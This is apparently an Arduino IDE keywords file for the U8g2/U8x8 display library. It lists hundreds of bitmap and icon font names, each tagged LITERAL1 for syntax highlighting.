LITERAL1 u8g2_font_04b_03b_tr LITERAL1 u8g2_font_04b_03_tr LITERAL1 u8g2_font_amstrad_cpc_extended_8f LITERAL1 u8g2_font_amstrad_cpc_extended_8r LITERAL1 u8g2_font_amstrad_cpc_extended_8n LITERAL1 u8g2_font_amstrad_cpc_extended_8u LITERAL1 u8x8_font_amstrad_cpc_extended_f LITERAL1 u8x8_font_amstrad_cpc_extended_r LITERAL1 u8x8_font_amstrad_cpc_extended_n LITERAL1 u8x8_font_amstrad_cpc_extended_u LITERAL1 u8g2_font_cursor_tf LITERAL1 u8g2_font_cursor_tr LITERAL1 u8g2_font_micro_tr LITERAL1 u8g2_font_micro_tn LITERAL1 u8g2_font_micro_mr LITERAL1 u8g2_font_micro_mn LITERAL1 u8g2_font_4x6_tf LITERAL1 u8g2_font_4x6_tr LITERAL1 u8g2_font_4x6_tn LITERAL1 u8g2_font_4x6_mf LITERAL1 u8g2_font_4x6_mr LITERAL1 u8g2_font_4x6_mn LITERAL1 u8g2_font_4x6_t_cyrillic LITERAL1 u8g2_font_5x7_tf LITERAL1 u8g2_font_5x7_tr LITERAL1 u8g2_font_5x7_tn LITERAL1 u8g2_font_5x7_mf LITERAL1 u8g2_font_5x7_mr LITERAL1 u8g2_font_5x7_mn LITERAL1 u8x8_font_5x7_f LITERAL1 u8x8_font_5x7_r LITERAL1 u8x8_font_5x7_n LITERAL1 u8g2_font_5x7_t_cyrillic LITERAL1 u8g2_font_5x8_tf LITERAL1 u8g2_font_5x8_tr LITERAL1 u8g2_font_5x8_tn LITERAL1 u8g2_font_5x8_mf LITERAL1 u8g2_font_5x8_mr LITERAL1 u8g2_font_5x8_mn LITERAL1 u8x8_font_5x8_f LITERAL1 u8x8_font_5x8_r LITERAL1 u8x8_font_5x8_n LITERAL1 u8g2_font_5x8_t_cyrillic LITERAL1 u8g2_font_6x10_tf LITERAL1 u8g2_font_6x10_tr LITERAL1 u8g2_font_6x10_tn LITERAL1 u8g2_font_6x10_mf LITERAL1 u8g2_font_6x10_mr LITERAL1 u8g2_font_6x10_mn LITERAL1 u8g2_font_6x12_tf LITERAL1 u8g2_font_6x12_tr LITERAL1 u8g2_font_6x12_tn LITERAL1 u8g2_font_6x12_te LITERAL1 u8g2_font_6x12_mf LITERAL1 u8g2_font_6x12_mr LITERAL1 u8g2_font_6x12_mn LITERAL1 u8g2_font_6x12_me LITERAL1 u8g2_font_6x12_t_symbols LITERAL1 u8g2_font_6x12_m_symbols LITERAL1 u8g2_font_6x12_t_cyrillic LITERAL1 u8g2_font_6x13_tf LITERAL1 u8g2_font_6x13_tr LITERAL1 u8g2_font_6x13_tn LITERAL1 u8g2_font_6x13_te LITERAL1 u8g2_font_6x13_mf LITERAL1 u8g2_font_6x13_mr LITERAL1 u8g2_font_6x13_mn LITERAL1 u8g2_font_6x13_me LITERAL1 u8g2_font_6x13_t_hebrew LITERAL1 u8g2_font_6x13_t_cyrillic LITERAL1 u8g2_font_6x13B_tf LITERAL1 u8g2_font_6x13B_tr LITERAL1 u8g2_font_6x13B_tn LITERAL1 u8g2_font_6x13B_mf LITERAL1 u8g2_font_6x13B_mr LITERAL1 u8g2_font_6x13B_mn LITERAL1 u8g2_font_6x13B_t_hebrew LITERAL1 u8g2_font_6x13B_t_cyrillic LITERAL1 u8g2_font_6x13O_tf LITERAL1 u8g2_font_6x13O_tr LITERAL1 u8g2_font_6x13O_tn LITERAL1 u8g2_font_6x13O_mf LITERAL1 u8g2_font_6x13O_mr LITERAL1 u8g2_font_6x13O_mn LITERAL1 u8g2_font_7x13_tf LITERAL1 u8g2_font_7x13_tr LITERAL1 u8g2_font_7x13_tn LITERAL1 u8g2_font_7x13_te LITERAL1 u8g2_font_7x13_mf LITERAL1 u8g2_font_7x13_mr LITERAL1 u8g2_font_7x13_mn LITERAL1 u8g2_font_7x13_me LITERAL1 u8g2_font_7x13_t_symbols LITERAL1 u8g2_font_7x13_m_symbols LITERAL1 u8g2_font_7x13_t_cyrillic LITERAL1 u8g2_font_7x13B_tf LITERAL1 u8g2_font_7x13B_tr LITERAL1 u8g2_font_7x13B_tn LITERAL1 u8g2_font_7x13B_mf LITERAL1 u8g2_font_7x13B_mr LITERAL1 u8g2_font_7x13B_mn LITERAL1 u8g2_font_7x13O_tf LITERAL1 u8g2_font_7x13O_tr LITERAL1 u8g2_font_7x13O_tn LITERAL1 u8g2_font_7x13O_mf LITERAL1 u8g2_font_7x13O_mr LITERAL1 u8g2_font_7x13O_mn LITERAL1 u8g2_font_7x14_tf LITERAL1 u8g2_font_7x14_tr LITERAL1 u8g2_font_7x14_tn LITERAL1 u8g2_font_7x14_mf LITERAL1 u8g2_font_7x14_mr LITERAL1 u8g2_font_7x14_mn LITERAL1 u8g2_font_7x14B_tf LITERAL1 u8g2_font_7x14B_tr LITERAL1 u8g2_font_7x14B_tn LITERAL1 u8g2_font_7x14B_mf LITERAL1 u8g2_font_7x14B_mr LITERAL1 u8g2_font_7x14B_mn LITERAL1 u8g2_font_8x13_tf LITERAL1 u8g2_font_8x13_tr LITERAL1 u8g2_font_8x13_tn LITERAL1 u8g2_font_8x13_te LITERAL1 u8g2_font_8x13_mf LITERAL1 u8g2_font_8x13_mr LITERAL1 u8g2_font_8x13_mn LITERAL1 u8g2_font_8x13_me LITERAL1 u8g2_font_8x13_t_symbols LITERAL1 u8g2_font_8x13_m_symbols LITERAL1 u8g2_font_8x13_t_cyrillic LITERAL1 u8g2_font_8x13B_tf LITERAL1 u8g2_font_8x13B_tr LITERAL1 u8g2_font_8x13B_tn LITERAL1 u8g2_font_8x13B_mf LITERAL1 u8g2_font_8x13B_mr LITERAL1 u8g2_font_8x13B_mn LITERAL1 u8g2_font_8x13O_tf LITERAL1 u8g2_font_8x13O_tr LITERAL1 u8g2_font_8x13O_tn LITERAL1 u8g2_font_8x13O_mf LITERAL1 u8g2_font_8x13O_mr LITERAL1 u8g2_font_8x13O_mn LITERAL1 u8g2_font_9x15_tf LITERAL1 u8g2_font_9x15_tr LITERAL1 u8g2_font_9x15_tn LITERAL1 u8g2_font_9x15_te LITERAL1 u8g2_font_9x15_mf LITERAL1 u8g2_font_9x15_mr LITERAL1 u8g2_font_9x15_mn LITERAL1 u8g2_font_9x15_me LITERAL1 u8g2_font_9x15_t_symbols LITERAL1 u8g2_font_9x15_m_symbols LITERAL1 u8g2_font_9x15_t_cyrillic LITERAL1 u8g2_font_9x15B_tf LITERAL1 u8g2_font_9x15B_tr LITERAL1 u8g2_font_9x15B_tn LITERAL1 u8g2_font_9x15B_mf LITERAL1 u8g2_font_9x15B_mr LITERAL1 u8g2_font_9x15B_mn LITERAL1 u8g2_font_9x18_tf LITERAL1 u8g2_font_9x18_tr LITERAL1 u8g2_font_9x18_tn LITERAL1 u8g2_font_9x18_mf LITERAL1 u8g2_font_9x18_mr LITERAL1 u8g2_font_9x18_mn LITERAL1 u8g2_font_9x18B_tf LITERAL1 u8g2_font_9x18B_tr LITERAL1 u8g2_font_9x18B_tn LITERAL1 u8g2_font_9x18B_mf LITERAL1 u8g2_font_9x18B_mr LITERAL1 u8g2_font_9x18B_mn LITERAL1 u8g2_font_10x20_tf LITERAL1 u8g2_font_10x20_tr LITERAL1 u8g2_font_10x20_tn LITERAL1 u8g2_font_10x20_te LITERAL1 u8g2_font_10x20_mf LITERAL1 u8g2_font_10x20_mr LITERAL1 u8g2_font_10x20_mn LITERAL1 u8g2_font_10x20_me LITERAL1 u8g2_font_10x20_t_greek LITERAL1 u8g2_font_10x20_t_cyrillic LITERAL1 u8g2_font_10x20_t_arabic LITERAL1 u8x8_font_8x13_1x2_f LITERAL1 u8x8_font_8x13_1x2_r LITERAL1 u8x8_font_8x13_1x2_n LITERAL1 u8x8_font_8x13B_1x2_f LITERAL1 u8x8_font_8x13B_1x2_r LITERAL1 u8x8_font_8x13B_1x2_n LITERAL1 u8x8_font_7x14_1x2_f LITERAL1 u8x8_font_7x14_1x2_r LITERAL1 u8x8_font_7x14_1x2_n LITERAL1 u8x8_font_7x14B_1x2_f LITERAL1 u8x8_font_7x14B_1x2_r LITERAL1 u8x8_font_7x14B_1x2_n LITERAL1 u8g2_font_siji_t_6x10 LITERAL1 u8g2_font_waffle_t_all LITERAL1 u8g2_font_tom_thumb_4x6_t_all LITERAL1 u8g2_font_tom_thumb_4x6_tf LITERAL1 u8g2_font_tom_thumb_4x6_tr LITERAL1 u8g2_font_tom_thumb_4x6_tn LITERAL1 u8g2_font_tom_thumb_4x6_te LITERAL1 u8g2_font_tom_thumb_4x6_mf LITERAL1 u8g2_font_tom_thumb_4x6_mr LITERAL1 u8g2_font_tom_thumb_4x6_mn LITERAL1 u8g2_font_tom_thumb_4x6_me LITERAL1 u8g2_font_mystery_quest_24_tf LITERAL1 u8g2_font_mystery_quest_24_tr LITERAL1 u8g2_font_mystery_quest_24_tn LITERAL1 u8g2_font_mystery_quest_28_tf LITERAL1 u8g2_font_mystery_quest_28_tr LITERAL1 u8g2_font_mystery_quest_28_tn LITERAL1 u8g2_font_mystery_quest_32_tr LITERAL1 u8g2_font_mystery_quest_32_tn LITERAL1 u8g2_font_mystery_quest_36_tn LITERAL1 u8g2_font_mystery_quest_42_tn LITERAL1 u8g2_font_mystery_quest_48_tn LITERAL1 u8g2_font_mystery_quest_56_tn LITERAL1 u8g2_font_t0_11_tf LITERAL1 u8g2_font_t0_11_tr LITERAL1 u8g2_font_t0_11_tn LITERAL1 u8g2_font_t0_11_te LITERAL1 u8g2_font_t0_11_mf LITERAL1 u8g2_font_t0_11_mr LITERAL1 u8g2_font_t0_11_mn LITERAL1 u8g2_font_t0_11_me LITERAL1 u8g2_font_t0_11_t_all LITERAL1 u8g2_font_t0_11b_tf LITERAL1 u8g2_font_t0_11b_tr LITERAL1 u8g2_font_t0_11b_tn LITERAL1 u8g2_font_t0_11b_te LITERAL1 u8g2_font_t0_11b_mf LITERAL1 u8g2_font_t0_11b_mr LITERAL1 u8g2_font_t0_11b_mn LITERAL1 u8g2_font_t0_11b_me LITERAL1 u8g2_font_t0_12_tf LITERAL1 u8g2_font_t0_12_tr LITERAL1 u8g2_font_t0_12_tn LITERAL1 u8g2_font_t0_12_te LITERAL1 u8g2_font_t0_12_mf LITERAL1 u8g2_font_t0_12_mr LITERAL1 u8g2_font_t0_12_mn LITERAL1 u8g2_font_t0_12_me LITERAL1 u8g2_font_t0_12b_tf LITERAL1 u8g2_font_t0_12b_tr LITERAL1 u8g2_font_t0_12b_tn LITERAL1 u8g2_font_t0_12b_te LITERAL1 u8g2_font_t0_12b_mf LITERAL1 u8g2_font_t0_12b_mr LITERAL1 u8g2_font_t0_12b_mn LITERAL1 u8g2_font_t0_12b_me LITERAL1 u8g2_font_t0_13_tf LITERAL1 u8g2_font_t0_13_tr LITERAL1 u8g2_font_t0_13_tn LITERAL1 u8g2_font_t0_13_te LITERAL1 u8g2_font_t0_13_mf LITERAL1 u8g2_font_t0_13_mr LITERAL1 u8g2_font_t0_13_mn LITERAL1 u8g2_font_t0_13_me LITERAL1 u8g2_font_t0_13b_tf LITERAL1 u8g2_font_t0_13b_tr LITERAL1 u8g2_font_t0_13b_tn LITERAL1 u8g2_font_t0_13b_te LITERAL1 u8g2_font_t0_13b_mf LITERAL1 u8g2_font_t0_13b_mr LITERAL1 u8g2_font_t0_13b_mn LITERAL1 u8g2_font_t0_13b_me LITERAL1 u8g2_font_t0_14_tf LITERAL1 u8g2_font_t0_14_tr LITERAL1 u8g2_font_t0_14_tn LITERAL1 u8g2_font_t0_14_te LITERAL1 u8g2_font_t0_14_mf LITERAL1 u8g2_font_t0_14_mr LITERAL1 u8g2_font_t0_14_mn LITERAL1 u8g2_font_t0_14_me LITERAL1 u8g2_font_t0_14b_tf LITERAL1 u8g2_font_t0_14b_tr LITERAL1 u8g2_font_t0_14b_tn LITERAL1 u8g2_font_t0_14b_te LITERAL1 u8g2_font_t0_14b_mf LITERAL1 u8g2_font_t0_14b_mr LITERAL1 u8g2_font_t0_14b_mn LITERAL1 u8g2_font_t0_14b_me LITERAL1 u8g2_font_t0_15_tf LITERAL1 u8g2_font_t0_15_tr LITERAL1 u8g2_font_t0_15_tn LITERAL1 u8g2_font_t0_15_te LITERAL1 u8g2_font_t0_15_mf LITERAL1 u8g2_font_t0_15_mr LITERAL1 u8g2_font_t0_15_mn LITERAL1 u8g2_font_t0_15_me LITERAL1 u8g2_font_t0_15b_tf LITERAL1 u8g2_font_t0_15b_tr LITERAL1 u8g2_font_t0_15b_tn LITERAL1 u8g2_font_t0_15b_te LITERAL1 u8g2_font_t0_15b_mf LITERAL1 u8g2_font_t0_15b_mr LITERAL1 u8g2_font_t0_15b_mn LITERAL1 u8g2_font_t0_15b_me LITERAL1 u8g2_font_t0_16_tf LITERAL1 u8g2_font_t0_16_tr LITERAL1 u8g2_font_t0_16_tn LITERAL1 u8g2_font_t0_16_te LITERAL1 u8g2_font_t0_16_mf LITERAL1 u8g2_font_t0_16_mr LITERAL1 u8g2_font_t0_16_mn LITERAL1 u8g2_font_t0_16_me LITERAL1 u8g2_font_t0_16b_tf LITERAL1 u8g2_font_t0_16b_tr LITERAL1 u8g2_font_t0_16b_tn LITERAL1 u8g2_font_t0_16b_te LITERAL1 u8g2_font_t0_16b_mf LITERAL1 u8g2_font_t0_16b_mr LITERAL1 u8g2_font_t0_16b_mn LITERAL1 u8g2_font_t0_16b_me LITERAL1 u8g2_font_t0_17_tf LITERAL1 u8g2_font_t0_17_tr LITERAL1 u8g2_font_t0_17_tn LITERAL1 u8g2_font_t0_17_te LITERAL1 u8g2_font_t0_17_mf LITERAL1 u8g2_font_t0_17_mr LITERAL1 u8g2_font_t0_17_mn LITERAL1 u8g2_font_t0_17_me LITERAL1 u8g2_font_t0_17b_tf LITERAL1 u8g2_font_t0_17b_tr LITERAL1 u8g2_font_t0_17b_tn LITERAL1 u8g2_font_t0_17b_te LITERAL1 u8g2_font_t0_17b_mf LITERAL1 u8g2_font_t0_17b_mr LITERAL1 u8g2_font_t0_17b_mn LITERAL1 u8g2_font_t0_17b_me LITERAL1 u8g2_font_t0_18_tf LITERAL1 u8g2_font_t0_18_tr LITERAL1 u8g2_font_t0_18_tn LITERAL1 u8g2_font_t0_18_te LITERAL1 u8g2_font_t0_18_mf LITERAL1 u8g2_font_t0_18_mr LITERAL1 u8g2_font_t0_18_mn LITERAL1 u8g2_font_t0_18_me LITERAL1 u8g2_font_t0_18b_tf LITERAL1 u8g2_font_t0_18b_tr LITERAL1 u8g2_font_t0_18b_tn LITERAL1 u8g2_font_t0_18b_te LITERAL1 u8g2_font_t0_18b_mf LITERAL1 u8g2_font_t0_18b_mr LITERAL1 u8g2_font_t0_18b_mn LITERAL1 u8g2_font_t0_18b_me LITERAL1 u8g2_font_t0_22_tf LITERAL1 u8g2_font_t0_22_tr LITERAL1 u8g2_font_t0_22_tn LITERAL1 u8g2_font_t0_22_te LITERAL1 u8g2_font_t0_22_mf LITERAL1 u8g2_font_t0_22_mr LITERAL1 u8g2_font_t0_22_mn LITERAL1 u8g2_font_t0_22_me LITERAL1 u8g2_font_t0_22b_tf LITERAL1 u8g2_font_t0_22b_tr LITERAL1 u8g2_font_t0_22b_tn LITERAL1 u8g2_font_t0_22b_te LITERAL1 u8g2_font_t0_22b_mf LITERAL1 u8g2_font_t0_22b_mr LITERAL1 u8g2_font_t0_22b_mn LITERAL1 u8g2_font_t0_22b_me LITERAL1 u8g2_font_open_iconic_all_1x_t LITERAL1 u8g2_font_open_iconic_app_1x_t LITERAL1 u8g2_font_open_iconic_arrow_1x_t LITERAL1 u8g2_font_open_iconic_check_1x_t LITERAL1 u8g2_font_open_iconic_email_1x_t LITERAL1 u8g2_font_open_iconic_embedded_1x_t LITERAL1 u8g2_font_open_iconic_gui_1x_t LITERAL1 u8g2_font_open_iconic_human_1x_t LITERAL1 u8g2_font_open_iconic_mime_1x_t LITERAL1 u8g2_font_open_iconic_other_1x_t LITERAL1 u8g2_font_open_iconic_play_1x_t LITERAL1 u8g2_font_open_iconic_text_1x_t LITERAL1 u8g2_font_open_iconic_thing_1x_t LITERAL1 u8g2_font_open_iconic_weather_1x_t LITERAL1 u8g2_font_open_iconic_www_1x_t LITERAL1 u8x8_font_open_iconic_arrow_1x1 LITERAL1 u8x8_font_open_iconic_check_1x1 LITERAL1 u8x8_font_open_iconic_embedded_1x1 LITERAL1 u8x8_font_open_iconic_play_1x1 LITERAL1 u8x8_font_open_iconic_thing_1x1 LITERAL1 u8x8_font_open_iconic_weather_1x1 LITERAL1 u8g2_font_open_iconic_all_2x_t LITERAL1 u8g2_font_open_iconic_app_2x_t LITERAL1 u8g2_font_open_iconic_arrow_2x_t LITERAL1 u8g2_font_open_iconic_check_2x_t LITERAL1 u8g2_font_open_iconic_email_2x_t LITERAL1 u8g2_font_open_iconic_embedded_2x_t LITERAL1 u8g2_font_open_iconic_gui_2x_t LITERAL1 u8g2_font_open_iconic_human_2x_t LITERAL1 u8g2_font_open_iconic_mime_2x_t LITERAL1 u8g2_font_open_iconic_other_2x_t LITERAL1 u8g2_font_open_iconic_play_2x_t LITERAL1 u8g2_font_open_iconic_text_2x_t LITERAL1 u8g2_font_open_iconic_thing_2x_t LITERAL1 u8g2_font_open_iconic_weather_2x_t LITERAL1 u8g2_font_open_iconic_www_2x_t LITERAL1 u8x8_font_open_iconic_arrow_2x2 LITERAL1 u8x8_font_open_iconic_check_2x2 LITERAL1 u8x8_font_open_iconic_embedded_2x2 LITERAL1 u8x8_font_open_iconic_play_2x2 LITERAL1 u8x8_font_open_iconic_thing_2x2 LITERAL1 u8x8_font_open_iconic_weather_2x2 LITERAL1 u8g2_font_open_iconic_all_4x_t LITERAL1 u8g2_font_open_iconic_app_4x_t LITERAL1 u8g2_font_open_iconic_arrow_4x_t LITERAL1 u8g2_font_open_iconic_check_4x_t LITERAL1 u8g2_font_open_iconic_email_4x_t LITERAL1 u8g2_font_open_iconic_embedded_4x_t LITERAL1 u8g2_font_open_iconic_gui_4x_t LITERAL1 u8g2_font_open_iconic_human_4x_t LITERAL1 u8g2_font_open_iconic_mime_4x_t LITERAL1 u8g2_font_open_iconic_other_4x_t LITERAL1 u8g2_font_open_iconic_play_4x_t LITERAL1 u8g2_font_open_iconic_text_4x_t LITERAL1 u8g2_font_open_iconic_thing_4x_t LITERAL1 u8g2_font_open_iconic_weather_4x_t LITERAL1 u8g2_font_open_iconic_www_4x_t LITERAL1 u8x8_font_open_iconic_arrow_4x4 LITERAL1 u8x8_font_open_iconic_check_4x4 LITERAL1 u8x8_font_open_iconic_embedded_4x4 LITERAL1 u8x8_font_open_iconic_play_4x4 LITERAL1 u8x8_font_open_iconic_thing_4x4 LITERAL1 u8x8_font_open_iconic_weather_4x4 LITERAL1 u8g2_font_open_iconic_all_6x_t LITERAL1 u8g2_font_open_iconic_app_6x_t LITERAL1 u8g2_font_open_iconic_arrow_6x_t LITERAL1 u8g2_font_open_iconic_check_6x_t LITERAL1 u8g2_font_open_iconic_email_6x_t LITERAL1 u8g2_font_open_iconic_embedded_6x_t LITERAL1 u8g2_font_open_iconic_gui_6x_t LITERAL1 u8g2_font_open_iconic_human_6x_t LITERAL1 u8g2_font_open_iconic_mime_6x_t LITERAL1 u8g2_font_open_iconic_other_6x_t LITERAL1 u8g2_font_open_iconic_play_6x_t LITERAL1 u8g2_font_open_iconic_text_6x_t LITERAL1 u8g2_font_open_iconic_thing_6x_t LITERAL1 u8g2_font_open_iconic_weather_6x_t LITERAL1 u8g2_font_open_iconic_www_6x_t LITERAL1 u8g2_font_open_iconic_all_8x_t LITERAL1 u8g2_font_open_iconic_app_8x_t LITERAL1 u8g2_font_open_iconic_arrow_8x_t LITERAL1 u8g2_font_open_iconic_check_8x_t LITERAL1 u8g2_font_open_iconic_email_8x_t LITERAL1 u8g2_font_open_iconic_embedded_8x_t LITERAL1 u8g2_font_open_iconic_gui_8x_t LITERAL1 u8g2_font_open_iconic_human_8x_t LITERAL1 u8g2_font_open_iconic_mime_8x_t LITERAL1 u8g2_font_open_iconic_other_8x_t LITERAL1 u8g2_font_open_iconic_play_8x_t LITERAL1 u8g2_font_open_iconic_text_8x_t LITERAL1 u8g2_font_open_iconic_thing_8x_t LITERAL1 u8g2_font_open_iconic_weather_8x_t LITERAL1 u8g2_font_open_iconic_www_8x_t LITERAL1 u8x8_font_open_iconic_arrow_8x8 LITERAL1 u8x8_font_open_iconic_check_8x8 LITERAL1 u8x8_font_open_iconic_embedded_8x8 LITERAL1 u8x8_font_open_iconic_play_8x8 LITERAL1 u8x8_font_open_iconic_thing_8x8 LITERAL1 u8x8_font_open_iconic_weather_8x8 LITERAL1 u8g2_font_streamline_all_t LITERAL1 u8g2_font_streamline_building_real_estate_t LITERAL1 u8g2_font_streamline_business_t LITERAL1 u8g2_font_streamline_coding_apps_websites_t LITERAL1 u8g2_font_streamline_computers_devices_electronics_t LITERAL1 u8g2_font_streamline_content_files_t LITERAL1 u8g2_font_streamline_design_t LITERAL1 u8g2_font_streamline_ecology_t LITERAL1 u8g2_font_streamline_email_t LITERAL1 u8g2_font_streamline_entertainment_events_hobbies_t LITERAL1 u8g2_font_streamline_food_drink_t LITERAL1 u8g2_font_streamline_hand_signs_t LITERAL1 u8g2_font_streamline_health_beauty_t LITERAL1 u8g2_font_streamline_interface_essential_action_t LITERAL1 u8g2_font_streamline_interface_essential_alert_t LITERAL1 u8g2_font_streamline_interface_essential_audio_t LITERAL1 u8g2_font_streamline_interface_essential_calendar_t LITERAL1 u8g2_font_streamline_interface_essential_chart_t LITERAL1 u8g2_font_streamline_interface_essential_circle_triangle_t LITERAL1 u8g2_font_streamline_interface_essential_cog_t LITERAL1 u8g2_font_streamline_interface_essential_cursor_t LITERAL1 u8g2_font_streamline_interface_essential_dial_pad_t LITERAL1 u8g2_font_streamline_interface_essential_edit_t LITERAL1 u8g2_font_streamline_interface_essential_expand_shrink_t LITERAL1 u8g2_font_streamline_interface_essential_eye_t LITERAL1 u8g2_font_streamline_interface_essential_file_t LITERAL1 u8g2_font_streamline_interface_essential_help_t LITERAL1 u8g2_font_streamline_interface_essential_hierarchy_t LITERAL1 u8g2_font_streamline_interface_essential_home_menu_t LITERAL1 u8g2_font_streamline_interface_essential_id_t LITERAL1 u8g2_font_streamline_interface_essential_key_lock_t LITERAL1 u8g2_font_streamline_interface_essential_link_t LITERAL1 u8g2_font_streamline_interface_essential_loading_t LITERAL1 u8g2_font_streamline_interface_essential_login_t LITERAL1 u8g2_font_streamline_interface_essential_other_t LITERAL1 u8g2_font_streamline_interface_essential_paginate_t LITERAL1 u8g2_font_streamline_interface_essential_search_t LITERAL1 u8g2_font_streamline_interface_essential_setting_t LITERAL1 u8g2_font_streamline_interface_essential_share_t LITERAL1 u8g2_font_streamline_interface_essential_text_t LITERAL1 u8g2_font_streamline_interface_essential_wifi_t LITERAL1 u8g2_font_streamline_interface_essential_zoom_t LITERAL1 u8g2_font_streamline_internet_network_t LITERAL1 u8g2_font_streamline_logo_t LITERAL1 u8g2_font_streamline_map_navigation_t LITERAL1 u8g2_font_streamline_money_payments_t LITERAL1 u8g2_font_streamline_music_audio_t LITERAL1 u8g2_font_streamline_pet_animals_t LITERAL1 u8g2_font_streamline_phone_t LITERAL1 u8g2_font_streamline_photography_t LITERAL1 u8g2_font_streamline_romance_t LITERAL1 u8g2_font_streamline_school_science_t LITERAL1 u8g2_font_streamline_shopping_shipping_t LITERAL1 u8g2_font_streamline_social_rewards_t LITERAL1 u8g2_font_streamline_technology_t LITERAL1 u8g2_font_streamline_transportation_t LITERAL1 u8g2_font_streamline_travel_wayfinding_t LITERAL1 u8g2_font_streamline_users_t LITERAL1 u8g2_font_streamline_video_movies_t LITERAL1 u8g2_font_streamline_weather_t LITERAL1 u8g2_font_profont10_tf LITERAL1 u8g2_font_profont10_tr LITERAL1 u8g2_font_profont10_tn LITERAL1 u8g2_font_profont10_mf LITERAL1 u8g2_font_profont10_mr LITERAL1 u8g2_font_profont10_mn LITERAL1 u8g2_font_profont11_tf LITERAL1 u8g2_font_profont11_tr LITERAL1 u8g2_font_profont11_tn LITERAL1 u8g2_font_profont11_mf LITERAL1 u8g2_font_profont11_mr LITERAL1 u8g2_font_profont11_mn LITERAL1 u8g2_font_profont12_tf LITERAL1 u8g2_font_profont12_tr LITERAL1 u8g2_font_profont12_tn LITERAL1 u8g2_font_profont12_mf LITERAL1 u8g2_font_profont12_mr LITERAL1 u8g2_font_profont12_mn LITERAL1 u8g2_font_profont15_tf LITERAL1 u8g2_font_profont15_tr LITERAL1 u8g2_font_profont15_tn LITERAL1 u8g2_font_profont15_mf LITERAL1 u8g2_font_profont15_mr LITERAL1 u8g2_font_profont15_mn LITERAL1 u8g2_font_profont17_tf LITERAL1 u8g2_font_profont17_tr LITERAL1 u8g2_font_profont17_tn LITERAL1 u8g2_font_profont17_mf LITERAL1 u8g2_font_profont17_mr LITERAL1 u8g2_font_profont17_mn LITERAL1 u8g2_font_profont22_tf LITERAL1 u8g2_font_profont22_tr LITERAL1 u8g2_font_profont22_tn LITERAL1 u8g2_font_profont22_mf LITERAL1 u8g2_font_profont22_mr LITERAL1 u8g2_font_profont22_mn LITERAL1 u8g2_font_profont29_tf LITERAL1 u8g2_font_profont29_tr LITERAL1 u8g2_font_profont29_tn LITERAL1 u8g2_font_profont29_mf LITERAL1 u8g2_font_profont29_mr LITERAL1 u8g2_font_profont29_mn LITERAL1 u8x8_font_profont29_2x3_f LITERAL1 u8x8_font_profont29_2x3_r LITERAL1 u8x8_font_profont29_2x3_n LITERAL1 u8g2_font_samim_10_t_all LITERAL1 u8g2_font_samim_12_t_all LITERAL1 u8g2_font_samim_14_t_all LITERAL1 u8g2_font_samim_16_t_all LITERAL1 u8g2_font_samim_fd_10_t_all LITERAL1 u8g2_font_samim_fd_12_t_all LITERAL1 u8g2_font_samim_fd_14_t_all LITERAL1 u8g2_font_samim_fd_16_t_all LITERAL1 u8g2_font_ganj_nameh_sans10_t_all LITERAL1 u8g2_font_ganj_nameh_sans12_t_all LITERAL1 u8g2_font_ganj_nameh_sans14_t_all LITERAL1 u8g2_font_ganj_nameh_sans16_t_all LITERAL1 u8g2_font_iranian_sans_8_t_all LITERAL1 u8g2_font_iranian_sans_10_t_all LITERAL1 u8g2_font_iranian_sans_12_t_all LITERAL1 u8g2_font_iranian_sans_14_t_all LITERAL1 u8g2_font_iranian_sans_16_t_all LITERAL1 u8g2_font_mozart_nbp_tf LITERAL1 u8g2_font_mozart_nbp_tr LITERAL1 u8g2_font_mozart_nbp_tn LITERAL1 u8g2_font_mozart_nbp_t_all LITERAL1 u8g2_font_mozart_nbp_h_all LITERAL1 u8g2_font_glasstown_nbp_tf LITERAL1 u8g2_font_glasstown_nbp_tr LITERAL1 u8g2_font_glasstown_nbp_tn LITERAL1 u8g2_font_glasstown_nbp_t_all LITERAL1 u8g2_font_shylock_nbp_tf LITERAL1 u8g2_font_shylock_nbp_tr LITERAL1 u8g2_font_shylock_nbp_tn LITERAL1 u8g2_font_shylock_nbp_t_all LITERAL1 u8g2_font_roentgen_nbp_tf LITERAL1 u8g2_font_roentgen_nbp_tr LITERAL1 u8g2_font_roentgen_nbp_tn LITERAL1 u8g2_font_roentgen_nbp_t_all LITERAL1 u8g2_font_roentgen_nbp_h_all LITERAL1 u8g2_font_calibration_gothic_nbp_tf LITERAL1 u8g2_font_calibration_gothic_nbp_tr LITERAL1 u8g2_font_calibration_gothic_nbp_tn LITERAL1 u8g2_font_calibration_gothic_nbp_t_all LITERAL1 u8g2_font_smart_patrol_nbp_tf LITERAL1 u8g2_font_smart_patrol_nbp_tr LITERAL1 u8g2_font_smart_patrol_nbp_tn LITERAL1 u8g2_font_prospero_bold_nbp_tf LITERAL1 u8g2_font_prospero_bold_nbp_tr LITERAL1 u8g2_font_prospero_bold_nbp_tn LITERAL1 u8g2_font_prospero_nbp_tf LITERAL1 u8g2_font_prospero_nbp_tr LITERAL1 u8g2_font_prospero_nbp_tn LITERAL1 u8g2_font_balthasar_regular_nbp_tf LITERAL1 u8g2_font_balthasar_regular_nbp_tr LITERAL1 u8g2_font_balthasar_regular_nbp_tn LITERAL1 u8g2_font_balthasar_titling_nbp_tf LITERAL1 u8g2_font_balthasar_titling_nbp_tr LITERAL1 u8g2_font_balthasar_titling_nbp_tn LITERAL1 u8g2_font_synchronizer_nbp_tf LITERAL1 u8g2_font_synchronizer_nbp_tr LITERAL1 u8g2_font_synchronizer_nbp_tn LITERAL1 u8g2_font_mercutio_basic_nbp_tf LITERAL1 u8g2_font_mercutio_basic_nbp_tr LITERAL1 u8g2_font_mercutio_basic_nbp_tn LITERAL1 u8g2_font_mercutio_basic_nbp_t_all LITERAL1 u8g2_font_mercutio_sc_nbp_tf LITERAL1 u8g2_font_mercutio_sc_nbp_tr LITERAL1 u8g2_font_mercutio_sc_nbp_tn LITERAL1 u8g2_font_mercutio_sc_nbp_t_all LITERAL1 u8g2_font_miranda_nbp_tf LITERAL1 u8g2_font_miranda_nbp_tr LITERAL1 u8g2_font_miranda_nbp_tn LITERAL1 u8g2_font_nine_by_five_nbp_tf LITERAL1 u8g2_font_nine_by_five_nbp_tr LITERAL1 u8g2_font_nine_by_five_nbp_tn LITERAL1 u8g2_font_nine_by_five_nbp_t_all LITERAL1 u8g2_font_rosencrantz_nbp_tf LITERAL1 u8g2_font_rosencrantz_nbp_tr LITERAL1 u8g2_font_rosencrantz_nbp_tn LITERAL1 u8g2_font_rosencrantz_nbp_t_all LITERAL1 u8g2_font_guildenstern_nbp_tf LITERAL1 u8g2_font_guildenstern_nbp_tr LITERAL1 u8g2_font_guildenstern_nbp_tn LITERAL1 u8g2_font_guildenstern_nbp_t_all LITERAL1 